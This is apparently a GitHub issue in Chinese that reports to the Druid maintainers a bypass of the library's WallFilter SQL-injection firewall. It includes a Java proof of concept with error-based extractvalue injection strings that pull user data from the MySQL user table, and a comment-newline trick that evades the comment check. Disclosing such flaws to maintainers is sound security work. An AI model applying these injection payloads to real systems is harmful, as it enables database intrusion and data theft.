5
作者你好,关于druid的wall防火墙我反馈一个现实存在的SQL注入防护失效场景 测试环境:JDK8 、druid 1.2.15、mysql8 前因: 1、单纯注释不会抛出“NotAllowCommentException”, 代码还使用存在其他判断条件
if (!isAllowComment() && (isEOF() || !isSafeComment(stringVal))) {
throw new NotAllowCommentException();
}
2、代码对一系列报错函数没有禁止(作者应该有自己的考量,我们可以先不关注这个点),当然攻击者也可以使用布尔型回显注入来获取数据(条件允许情况下) 3、代码禁止了系统表,但是在攻击者拥有源码场景下(CMS)、或者猜测关键表字段名,则攻击者依然可以进行SQL注入漏洞利用
利用场景:
import com.alibaba.druid.wall.WallCheckResult;
import com.alibaba.druid.wall.spi.MySqlWallProvider;
import java.lang.reflect.Field;
import java.util.Set;
public class TestDruid {
public static void main(String[] args) {
//注释末尾有换行符号, isSafeComment == true, 注入点在order by 与 limit 之间
String sql1 = "SELECT user, host FROM user order by 1,(select extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,user,0x3a,password_last_changed,0x23) FROM user limit 0,1))) ) -- -\nLIMIT ? ";
String sql2 = "select user,host from user where user=\"root\" or 1=2 -- -\n" +
"union select \"1\"=\"1\"";
MySqlWallProvider provider = new MySqlWallProvider();
Object config = GetObjectFieldValue(provider, "com.alibaba.druid.wall.WallProvider", "config");
Set<String> denyFunctions = (Set<String>) GetObjectFieldValue(config, "com.alibaba.druid.wall.WallConfig", "denyFunctions");
//denyFunctions.add("extractvalue");
WallCheckResult result = provider.check(sql1);
result.getViolations().forEach(v->
System.out.printf("code: %d, msg: %s \n",v.getErrorCode(),v.getMessage())
);
}
public static Object GetObjectFieldValue(Object obj,String className, String fieldName) {
try {
Class<?> clazz= obj.getClass().getClassLoader().loadClass(className);
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception ignore) {
}
return null;
}
}